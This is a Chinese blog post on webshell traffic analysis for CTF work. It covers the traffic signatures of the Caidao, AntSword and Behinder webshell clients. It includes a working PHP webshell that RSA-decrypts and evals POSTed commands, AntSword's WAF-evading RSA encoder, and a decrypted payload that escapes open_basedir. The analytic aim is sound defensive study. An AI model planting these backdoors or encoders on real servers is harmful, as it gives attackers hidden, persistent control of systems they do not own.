mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
1861 字
5 分钟
Webshell流量分析
2026-03-03

Webshell流量深入理解#

Webshell流量,指的是攻击者在已经获取一个Web服务器的部分权限后,通过上传的Webshell后门脚本与服务器进行交互时,所产生的网络通信数据。

首先,攻击者通过漏洞(如文件上传漏洞、命令注入漏洞等)将一个Webshell脚本文件(如 shell.phpbackdoor.jsp)放到了网站的目录下。这个Webshell脚本就是一个驻留在服务器上的后门

攻击者通过客户端(专用连接工具)向这个Webshell脚本发送命令,服务器就可以执行攻击者想要执行的命令。

简单来说:

Webshell流量 = 攻击者通过Web后门(Webshell)远程控制服务器时,产生的“指令”和“结果”数据流。

通过分析webshell流量,就可以知道攻击者的意图和攻击手法。

一般CTF中,根据客户端连接工具的不同,常见的流量有:菜刀、蚁剑、冰蝎、哥斯拉、CobalStrike(CS流量)等。

菜刀流量#

中国菜刀#

https://github.com/raddyfiy/caidao-official-version

中国菜刀是一款功能强大的webshell工具,可以用来获取目标网站的文件系统,获取目标的shell进行命令执行操作,进行数据库操作等。常见版本有三个:2011版、2014版、2016版。

流量特征#

菜刀流量通常即指使用菜刀工具所产生的webshell流量,流量特征一般为:

  1. 请求体:通常是base64加密过再URL编码后的数据
  2. 利用方式:主要是eval函数
  3. 响应体:通常数据被包含在->| |<-符号中,这是菜刀最显著的一个特征

例题#

buuctf<菜刀666>

打开流量包追踪流:

菜刀流量示例

可以发现,在请求内容里,主要利用的是eval函数/assert函数,所有参数都经过base64编码,使用base64_decode函数。而响应内容是带 ->| |<-分隔符的

其次,如果多看几个流量,还会发现参数名上也有一些特征:参数名通常是命名为z1、z2、z3……通常z0用于设置环境变量、z1为密码、z2为执行的命令。

这些就是菜刀流量的特征了,由于只是base64编码内容或直接呈现明文,因此流量分析过程简单。

以上题为例,追踪流很容易发现传输的文件:

提取文件

提取出图片后得到key,再解密foremost提取出的压缩包,即可得到flag。

蚁剑流量#

蚁剑#

中国蚁剑(AntSword)是一款开源、跨平台的WebShell管理工具,支持PHP、ASP、ASPX、JSP等常见脚本语言。它是渗透测试人员和安全研究员常用的Web持久化控制平台之一,主要用于管理目标服务器上的WebShell,实现文件管理、命令执行、数据库操作等功能。

流量特征#

编解码器:#

相比菜刀使用明文/弱编码(Base64),使用固定分隔符|<-,极易被WAF拦截,蚁剑主要改进的功能是编码解码器。

蚁剑的编码解码器是蚁剑中用于加密和解密与服务器通信数据的组件,它能将蚁剑发送的请求和接收的响应数据进行混淆(如Base64、rot13、自定义算法等),以绕过WAF等安全防护,实现隐蔽的命令执行和数据传输。编码器处理发往服务器的流量,而解码器处理从服务器返回的流量。

蚁剑的默认编码/解码器:

默认编码器

一. default#

选择编/解码器选着default时,不对传输的Payload进行任何操作。

搭建文件上传靶场,传入一句话木马并抓取蚁剑的连接流量。因为蚁剑是HTTP协议POST请求,对HTTP数据流进行追踪,可以找到数据交互的过程。

default编码

可以发现payload只进行了URL编码,可以使用工具轻松解码:

URL解码

同时,也看到了一些特征:

  1. 蚁剑带了明显的特征函数@ini_set("display_errors","0")
  2. 在响应的回显结果中,发现前后各有一串随机字符串(这是蚁剑为了对抗安全检测而设计的混淆手段)
二. base64编码器#

请求响应流量如下:

base64编码

可以发现,当选择编/解码器选着base64时,蚁剑会将payload经过base64编码再经过URL编码后赋值给一个随机字符串。然后将这个随机字符串的值通过POST方法传入eval函数再base64解码,通过eval函数执行。

其余的特征不变,包括响应值中依旧前后会有随机的字符串:

base64响应

三. chr编码器#

请求响应流量如下:

chr编码

可以发现,当编码器选择chr的时候,蚁剑会对payload的所有字符都利用chr函数进行转换,其余的特征均相同。

四. php RSA编码器#

配置rsa编码器:

  1. 生成rsa密钥和php代码:

生成RSA

其中php代码:

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYT
RtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YE
QPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Ca
r4yKSRFlJ8IKXdKy5wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
  1. 接着新建一个php rsa编码器:
/**
* php::RSA编码器
* Create at: 2026/01/27 13:13:41
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}

分析编码器,可以发现:主要逻辑是将原始payload分割成多个块,分别使用RSA私钥加密,然后将加密结果用“|”连接起来。

  • pwd:连接密码,用于指定加密后数据存放的键名
  • data:包含原始payload的对象
  • ext:扩展对象,包含RSA加密器(ext['rsa']
  1. 测试传shell并捕获流量:

首先分析发现,在POST请求中有多个参数,其中有一个固定的参数是ant:

它的值是通过上述的RSA进行加密的,可以使用公钥进行解密:

<?php
$ant = 'xxx';
$ant = urldecode($ant);
$pubkey = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYT
RtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YE
QPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Ca
r4yKSRFlJ8IKXdKy5wIDAQAB
-----END PUBLIC KEY-----
EOF;
$pk = openssl_pkey_get_public($pubkey);
if ($pk === false) {
die('Invalid public key');
}
$chunks = explode('|', $ant);
$cmd = '';
foreach ($chunks as $chunk) {
$decrypted = '';
$bin = base64_decode($chunk, true);
if ($bin === false) {
continue;
}
$ok = openssl_public_decrypt(
$bin,
$decrypted,
$pk,
OPENSSL_PKCS1_PADDING
);
if ($ok === true) {
$cmd .= $decrypted;
}
}
echo $cmd;

解密后得到:

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6fa00ad71f1b";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<count($cntarr);$i++){...}}};asoutput();die();
五. 其它#
  • chr16编码器:对payload的所有字符都利用chr函数转换,但是对chr函数传递的参数是十六进制。
  • rot13编码器:对payload中的字母进行rot13转换。

冰蝎流量#

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,冰蝎当中shell是通过传输协议配置的。可以看到有以下协议:

通信流程#

冰蝎4.0通信流程如下:

密钥协商

  1. 攻击者首先通过GET或者POST传参的方法对服务器请求密钥,譬如:http://127.0.0.1/webshell.aspx?password=6
  2. 服务器使用生成的随机数的MD5值的前十六位当作密钥K并且存储在全局变量$_SESSION中,并且发给攻击者

加密传输

  1. 攻击者得到了密钥K,将K作为密钥进行AES128或者异或加密,将执行命令发送到服务段
  2. 服务端得到密文之后使用K进行解密
  3. 将得到的执行结果使用K进行AES加密之后传回攻击者

传输协议#

以default_aes为例:

选择生成服务端,即可自动生成多种shell:

上传到目标靶机,然后在客户端中选择新建链接,填好url链接即可连接成功:

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Webshell流量分析
http://czxh.top/posts/webshell流量分析/
作者
Mitunlny & Pr0mis3
发布于
2026-03-03
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录